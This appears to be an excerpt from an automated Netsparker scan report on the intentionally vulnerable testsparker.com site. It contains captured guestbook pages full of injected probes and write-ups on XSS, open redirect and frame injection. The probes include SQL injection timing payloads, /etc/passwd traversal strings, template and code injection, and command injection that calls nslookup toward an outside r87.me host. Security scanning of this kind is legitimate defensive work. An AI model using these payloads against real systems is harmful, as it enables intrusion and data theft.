+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

//r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ #{28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ${28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ http://example.com/? +ns: netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

#{28275*28275-(13)}

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

${28275*28275-(13)}

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ r87.com/n +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:05 AM +

+

+ php://filter//resource=http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ http://r87.com/n?.aspx +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ hTTp://r87.com/n +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://example.com/? +ns: netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

"+print localtime()*0+0xFFF9999-22+"

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

'+print localtime()*0+0xFFF9999-22+'

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" +

+
+

eval('print localtime()*0+0xFFF9999-22')

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

print localtime()*0+0xFFF9999-22

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

[php]print(int)0xFFF9999-22;[/php]

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

'{${print(int)0xFFF9999-22}}'

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

{php}print(int)0xFFF9999-22;{/php}

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

"+print(int)0xFFF9999-22+"

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

'+print(int)0xFFF9999-22+'

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

+print(int)0xFFF9999-22;//

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

Guestbook.aspxďż˝

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

Guestbook.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

data:;base64,TlM3NzU0NTYxNDQ2NTc1

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+ + + +
12
+
+ + +
+
+ + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud detected possible stored cross-site scripting, which allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser. "Permanent" means that the attack will be stored in the backend system. In normal cross-site scripting, an attacker needs to e-mail the victim, but in a permanent cross-site scripting, an attacker can simply execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

]]>
+ Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User session sensitive information such as cookies can be stolen.
  • XSS can enable client-side worms which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
]]>
+ + +

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters, with which you will populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include OWASP Reform and Microsoft Anti cross-site scripting libraries.

]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/ + ViewStateNotEncrypted + ViewState is not Encrypted + Low + 90 + False + Present + + + 15 + 16 + + + + 164.306(a), 164.308(a) + + + POST + + + + + + + + 200 + 95,0075 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud detected that ViewState encryption is disabled.

]]>
+ An attacker can study the application's state management logic for possible vulnerabilities; if your application stores application-critical information in the ViewState, it will also be revealed.]]> + + + ASP.NET provides encryption for ViewState parameters.

For page based protection, place the following directive at the top of affected page.
<%@Page ViewStateEncryptionMode="Always" %>
+
You can also set this option for the whole application by using web.config files. Apply the following configuration for your application's web.config file.
<System.Web>
+    <pages viewStateEncryptionMode="Always"> 
+</System.Web>      
+
]]>
+ ]]> + + +
+ + http://testsparker.com/redirect.aspx?site=r87.com%2f%3ftestsparker.com%2f + OpenRedirect + Open Redirection + Medium + 100 + True + Present + + A10 + 38 + 601 + + + + + + + GET + + + + + + + 302 + 85,298 + Object moved +

Object moved to here.

+ +]]>
+
+ + Netsparker Cloud detected an open redirect vulnerability. Open redirect occurs when a web page is being redirected to another URL in another domain via a user-controlled input.

]]>
+ An attacker can use this vulnerability to redirect users to other malicious websites, which can be used for phishing and similar attacks.]]> + + +
  • Where possible, do not use users' input for URLs.
  • If you definitely need dynamic URLs, use whitelisting. Make a list of valid, accepted URLs and do not accept other URLs.
  • Ensure that you only accept URLs those are located on the trusted domains.
]]>
+ + ]]> + +
+ + http://testsparker.com/WS_FTP.log + WinUsernameDisclosure + Windows Username Disclosure + Low + 90 + False + Present + + + 13 + 200 + 118 + 6.5.5 + 6.5.5 + + + + GET + + + + 200 + 95,4689 + 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.02.23 15:33 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.02.23 15:33 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.03.06 11:51 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.03.06 11:51 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.05.26 10:47 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.05.26 10:47 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.05.26 11:52 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.05.26 11:52 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.05.26 11:59 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.05.26 11:59 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.09.25 13:00 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt +2014.09.25 13:00 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG +2014.09.25 16:48 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt +2014.09.25 16:48 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG +2014.02.15 14:41 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.02.15 14:41 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG]]> + + + + + + Netsparker Cloud identified a Windows username disclosure in the error message.

]]>
+ An attacker can perform brute-force or dictionary-based password guessing on the disclosed username. It may also help the attacker identify other vulnerabilities or further their exploitation of other identified vulnerabilities.]]> + + +
  • Error messages should be disabled.
  • Remove this kind of sensitive data from the output.
]]>
+ + ]]> + +
+ + http://testsparker.com/Generics/ + XssProtectionDisabled + Disabled X-XSS-Protection Header + Information + 100 + False + Present + + + + + + + + + + + GET + + + + 200 + 101,2432 + + + + + + + +
+
+ +
+ +
+ + +
+
+ +
+
+ + +]]>
+
+ + + + + Netsparker Cloud detected a disabled X-XSS-Protection header which means that this website could be at risk of a Cross-site Scripting (XSS) attacks.

+

Internet Explorer's built-in cross-site scripting protection can be disabled by using the following HTTP Header : X-XSS-Protection: 0

]]>
+ This issue is reported as additional information only. There is no direct impact arising from this issue.]]> + + + Add the X-XSS-Protection header with a value of "1; mode= block". +
    +
  • +
    X-XSS-Protection: 1; mode=block
    +
  • +
+]]>
+ + ]]> + +
+ + http://testsparker.com/statics/data.mdb + MdbFound + Microsoft Access Database File Detected + Medium + 90 + False + Present + + A7 + 2 + 284 + + 6.5.8 + 6.5.8 + + + + GET + + + + 200 + 83,9656 + + + + Netsparker Cloud detected a Microsoft Access database file.

]]>
+ The database file may disclose sensitive information. You should manually check the content of the file.]]> + + + + + + +
+ + http://testsparker.com/About.aspx?hello=%3ciframe%20src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e + FrameInjection + Frame Injection + Medium + 95 + False + Present + + A10 + 38 + 601 + + 6.5.1 + 6.5.1 + 164.308(a) + + + POST + + + + + + + + + 200 + 250,0223 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + + +

About

+

+ Hello + +

+

+ Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus. + + +

+Mission +
    +
  1. Inform users to protect them from common mistakes.
  2. +
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. +
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. +
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. +
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. +
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. +
  13. Remain a neutral informative resource about Bitcoin.
  14. +
+ + + +
+

Our Teams

+
+
    + +
+
+
+
+
+
+ +
+

Follow us

+ +
+ +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud detected frame injection, which occurs when a frame on a vulnerable web page displays another web page via a user-controllable input.

]]>
+ An attacker might use this vulnerability to redirect users to other malicious websites that are used for phishing and similar attacks.]]> + + +
  • Where possible do not use users' input for URLs.
  • If you definitely need dynamic URLs, make a list of valid accepted URLs and do not accept other URLs.
  • Ensure that you only accept URLs which are located on accepted domains.
]]>
+ + ]]> + +
+ + http://testsparker.com/About.aspx?hello=%3ciframe%20src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e + FrameInjection + Frame Injection + Medium + 95 + False + Present + + A10 + 38 + 601 + + 6.5.1 + 6.5.1 + 164.308(a) + + + GET + + + + + + + 200 + 100,8383 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + + +

About

+

+ Hello + +

+

+ Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus. + + +

+Mission +
    +
  1. Inform users to protect them from common mistakes.
  2. +
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. +
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. +
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. +
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. +
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. +
  13. Remain a neutral informative resource about Bitcoin.
  14. +
+ + + +
+

Our Teams

+
+
    + +
+
+
+
+
+
+ +
+

Follow us

+ +
+ +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud detected frame injection, which occurs when a frame on a vulnerable web page displays another web page via a user-controllable input.

]]>
+ An attacker might use this vulnerability to redirect users to other malicious websites that are used for phishing and similar attacks.]]> + + +
  • Where possible do not use users' input for URLs.
  • If you definitely need dynamic URLs, make a list of valid accepted URLs and do not accept other URLs.
  • Ensure that you only accept URLs which are located on accepted domains.
]]>
+ + ]]> + +
+ + http://testsparker.com/GuestbookList.aspx?http://r87.com/?testsparker.com/ + FrameInjection + Frame Injection + Medium + 100 + True + Present + + A10 + 38 + 601 + + 6.5.1 + 6.5.1 + 164.308(a) + + + GET + + + + + + + 200 + 1787,5933 + + + + + Bitcoin Web Site + + + + +
+
+ + + +
+ + + + +
+ + + + +
+ +
+
+ + + + +

Last Comments

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Smith

+

+ 8/23/2017 8:09:52 AM +

+

+ |expr${IFS}268409241${IFS}-${IFS}2 +

+
+

'+print(int)0xFFF9999-22+'

+

+ 8/23/2017 8:09:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:52 AM +

+

+ ((select sleep(25)))a-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:52 AM +

+

+ |nslookup${IFS}"o010_rdnxu19k9chh5tbbyojxvthogj-bgugbpdu""np8.r87.me" +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:51 AM +

+

+ "&nslookup "o010_rdnxud6pcldcpwfpwyqkkfj-ppegaokpyop""v90.r87.me" +

+
+

/../../../../../../../../../../var/log/apache2/error.log

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:51 AM +

+

+ -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 +

+
+

+print(int)0xFFF9999-22;//

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:51 AM +

+

+ '&nslookup "o010_rdnxu3vfnc2mjmdsmqjf1_u4efyppjssgz3""apw.r87.me" +

+
+

/../../../../../../../../../../etc/httpd/logs/error_log

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ hTTp://r87.com/n +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:50 AM +

+

+ &nslookup "o010_rdnxuywyz0nnht1rm1nopeh1zxovrslrvcc""7j8.r87.me" +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:50 AM +

+

+ nslookup "o010_rdnxuyq6restihprsdjetv_0rnd_6gqctvt""dny.r87.me" +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

/../../../../../../../../../../etc/httpd/logs/error.log

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:49 AM +

+

+ "& nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&'\"`0&nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&`' +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:49 AM +

+

+ '& nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&'\"`0&nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&`' +

+
+

Smith

+

+ 8/23/2017 8:09:48 AM +

+

+ 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

Smith

+

+ 8/23/2017 8:09:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:47 AM +

+

+ & nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&'\"`0&nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&`' +

+
+

